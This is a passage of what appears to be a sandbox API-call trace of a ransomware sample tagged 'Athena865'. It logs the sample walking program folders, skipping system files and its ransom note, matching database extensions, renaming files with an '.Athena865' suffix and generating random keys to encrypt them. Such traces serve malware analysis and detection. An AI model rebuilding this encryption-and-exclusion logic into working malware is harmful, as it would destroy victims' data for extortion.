lpString2="avhd") returned -1 [0119.859] lstrlenW (lpString="db") returned 2 [0119.859] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0119.859] lstrlenW (lpString="db2") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0119.859] lstrlenW (lpString="db3") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0119.859] lstrlenW (lpString="dbf") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0119.859] lstrlenW (lpString="mdf") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0119.859] lstrlenW (lpString="mdb") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0119.859] lstrlenW (lpString="sql") returned 3 [0119.859] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0119.860] lstrlenW (lpString="sqlite") returned 6 [0119.860] lstrcmpiW (lpString1="il.bmp", lpString2="sqlite") returned -1 [0119.860] lstrlenW (lpString="sqlite3") returned 7 [0119.860] lstrcmpiW (lpString1="ail.bmp", lpString2="sqlite3") returned -1 [0119.860] lstrlenW (lpString="sqlitedb") returned 8 [0119.860] lstrcmpiW (lpString1="nail.bmp", lpString2="sqlitedb") returned -1 [0119.860] lstrlenW (lpString="xml") returned 3 [0119.860] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0119.860] lstrlenW (lpString="$er") returned 3 [0119.860] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0119.860] lstrlenW (lpString="4dd") returned 3 [0119.860] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0119.860] lstrlenW (lpString="4dl") returned 3 [0119.860] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0119.860] lstrlenW (lpString="^^^") returned 3 [0119.860] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0119.860] lstrlenW (lpString="abs") returned 3 [0119.860] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0119.860] lstrlenW (lpString="abx") returned 3 [0119.860] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0119.860] lstrlenW (lpString="accdb") returned 5 [0119.860] lstrcmpiW (lpString1="l.bmp", lpString2="accdb") returned 1 [0119.860] lstrlenW (lpString="accdc") returned 5 [0119.860] lstrcmpiW (lpString1="l.bmp", lpString2="accdc") returned 1 [0119.860] lstrlenW (lpString="accde") returned 5 [0119.860] lstrcmpiW (lpString1="l.bmp", lpString2="accde") returned 1 [0119.860] lstrlenW (lpString="accdr") returned 5 [0119.860] lstrcmpiW (lpString1="l.bmp", lpString2="accdr") returned 1 [0119.860] lstrlenW (lpString="accdt") returned 5 [0119.861] lstrcmpiW (lpString1="l.bmp", lpString2="accdt") returned 1 [0119.861] lstrlenW (lpString="accdw") returned 5 [0119.861] lstrcmpiW (lpString1="l.bmp", lpString2="accdw") returned 1 [0119.861] lstrlenW (lpString="accft") returned 5 [0119.861] lstrcmpiW (lpString1="l.bmp", lpString2="accft") returned 1 [0119.861] lstrlenW (lpString="adb") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.861] lstrlenW (lpString="adb") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0119.861] lstrlenW (lpString="ade") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0119.861] lstrlenW (lpString="adf") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0119.861] lstrlenW (lpString="adn") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0119.861] lstrlenW (lpString="adp") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0119.861] lstrlenW (lpString="alf") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0119.861] lstrlenW (lpString="ask") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0119.861] lstrlenW (lpString="btr") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0119.861] lstrlenW (lpString="cat") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0119.861] lstrlenW (lpString="cdb") returned 3 [0119.861] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0119.861] lstrlenW (lpString="ckp") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0119.862] lstrlenW (lpString="cma") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0119.862] lstrlenW (lpString="cpd") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0119.862] lstrlenW (lpString="dacpac") returned 6 [0119.862] lstrcmpiW (lpString1="il.bmp", lpString2="dacpac") returned 1 [0119.862] lstrlenW (lpString="dad") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0119.862] lstrlenW (lpString="dadiagrams") returned 10 [0119.862] lstrcmpiW (lpString1="mbnail.bmp", lpString2="dadiagrams") returned 1 [0119.862] lstrlenW (lpString="daschema") returned 8 [0119.862] lstrcmpiW (lpString1="nail.bmp", lpString2="daschema") returned 1 [0119.862] lstrlenW (lpString="db-journal") returned 10 [0119.862] lstrcmpiW (lpString1="mbnail.bmp", lpString2="db-journal") returned 1 [0119.862] lstrlenW (lpString="db-shm") returned 6 [0119.862] lstrcmpiW (lpString1="il.bmp", lpString2="db-shm") returned 1 [0119.862] lstrlenW (lpString="db-wal") returned 6 [0119.862] lstrcmpiW (lpString1="il.bmp", lpString2="db-wal") returned 1 [0119.862] lstrlenW (lpString="dbc") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0119.862] lstrlenW (lpString="dbs") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0119.862] lstrlenW (lpString="dbt") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0119.862] lstrlenW (lpString="dbv") returned 3 [0119.862] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0119.862] lstrlenW (lpString="dbx") returned 3 [0119.863] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0119.863] lstrlenW (lpString="dcb") returned 3 [0119.863] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0119.863] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.Athena865") returned 83 [0119.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.864] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.864] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0119.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.864] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.865] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.865] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.865] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.866] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.867] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.868] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.868] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0119.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0119.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0119.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0119.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.871] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="..") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="windows") returned -1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="temp") returned -1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="boot") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.871] lstrlenW (lpString="rectangle_highlights_Thumbnail.bmp") returned 34 [0119.871] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_highlights_Thumbnail.bmp" | out: lpString1="rectangle_highlights_Thumbnail.bmp") returned="rectangle_highlights_Thumbnail.bmp" [0119.871] lstrlenW (lpString="rectangle_highlights_Thumbnail.bmp") returned 34 [0119.871] lstrlenW (lpString="Athena865") returned 9 [0119.871] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.871] lstrlenW (lpString=".dll") returned 4 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.871] lstrlenW (lpString=".lnk") returned 4 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.871] lstrlenW (lpString=".ini") returned 4 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.871] lstrlenW (lpString=".sys") returned 4 [0119.871] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.871] lstrlenW (lpString="rectangle_highlights_Thumbnail.bmp") returned 34 [0119.872] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.Athena865") returned 88 [0119.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.874] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.874] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.874] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.875] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.875] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.875] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.878] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.879] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.880] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.880] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.880] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="..") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="windows") returned -1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="temp") returned -1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="boot") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.880] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.881] lstrlenW (lpString="rectangle_performance_Thumbnail.bmp") returned 35 [0119.881] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_performance_Thumbnail.bmp" | out: lpString1="rectangle_performance_Thumbnail.bmp") returned="rectangle_performance_Thumbnail.bmp" [0119.881] lstrlenW (lpString="rectangle_performance_Thumbnail.bmp") returned 35 [0119.881] lstrlenW (lpString="Athena865") returned 9 [0119.881] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.881] lstrlenW (lpString=".dll") returned 4 [0119.881] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.881] lstrlenW (lpString=".lnk") returned 4 [0119.881] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.881] lstrlenW (lpString=".ini") returned 4 [0119.881] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.881] lstrlenW (lpString=".sys") returned 4 [0119.881] lstrcmpiW (lpString1="rectangle_performance_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.881] lstrlenW (lpString="rectangle_performance_Thumbnail.bmp") returned 35 [0119.881] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.Athena865") returned 89 [0119.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.882] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.882] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.882] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.883] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.883] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.883] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.884] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.886] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.886] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.886] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.886] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.886] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="..") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="windows") returned -1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="temp") returned -1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="boot") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.887] lstrlenW (lpString="rectangle_photo_Thumbnail.bmp") returned 29 [0119.887] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_photo_Thumbnail.bmp" | out: lpString1="rectangle_photo_Thumbnail.bmp") returned="rectangle_photo_Thumbnail.bmp" [0119.887] lstrlenW (lpString="rectangle_photo_Thumbnail.bmp") returned 29 [0119.887] lstrlenW (lpString="Athena865") returned 9 [0119.887] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.887] lstrlenW (lpString=".dll") returned 4 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.887] lstrlenW (lpString=".lnk") returned 4 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.887] lstrlenW (lpString=".ini") returned 4 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.887] lstrlenW (lpString=".sys") returned 4 [0119.887] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.887] lstrlenW (lpString="rectangle_photo_Thumbnail.bmp") returned 29 [0119.887] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.Athena865") returned 83 [0119.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.889] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.889] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.889] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.890] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.890] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.890] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.891] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.892] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.893] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.893] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.893] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.893] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2=".") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="..") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="windows") returned -1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="temp") returned -1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="boot") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.894] lstrcmpiW (lpString1="rectangle_plain_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.894] lstrcmpiW 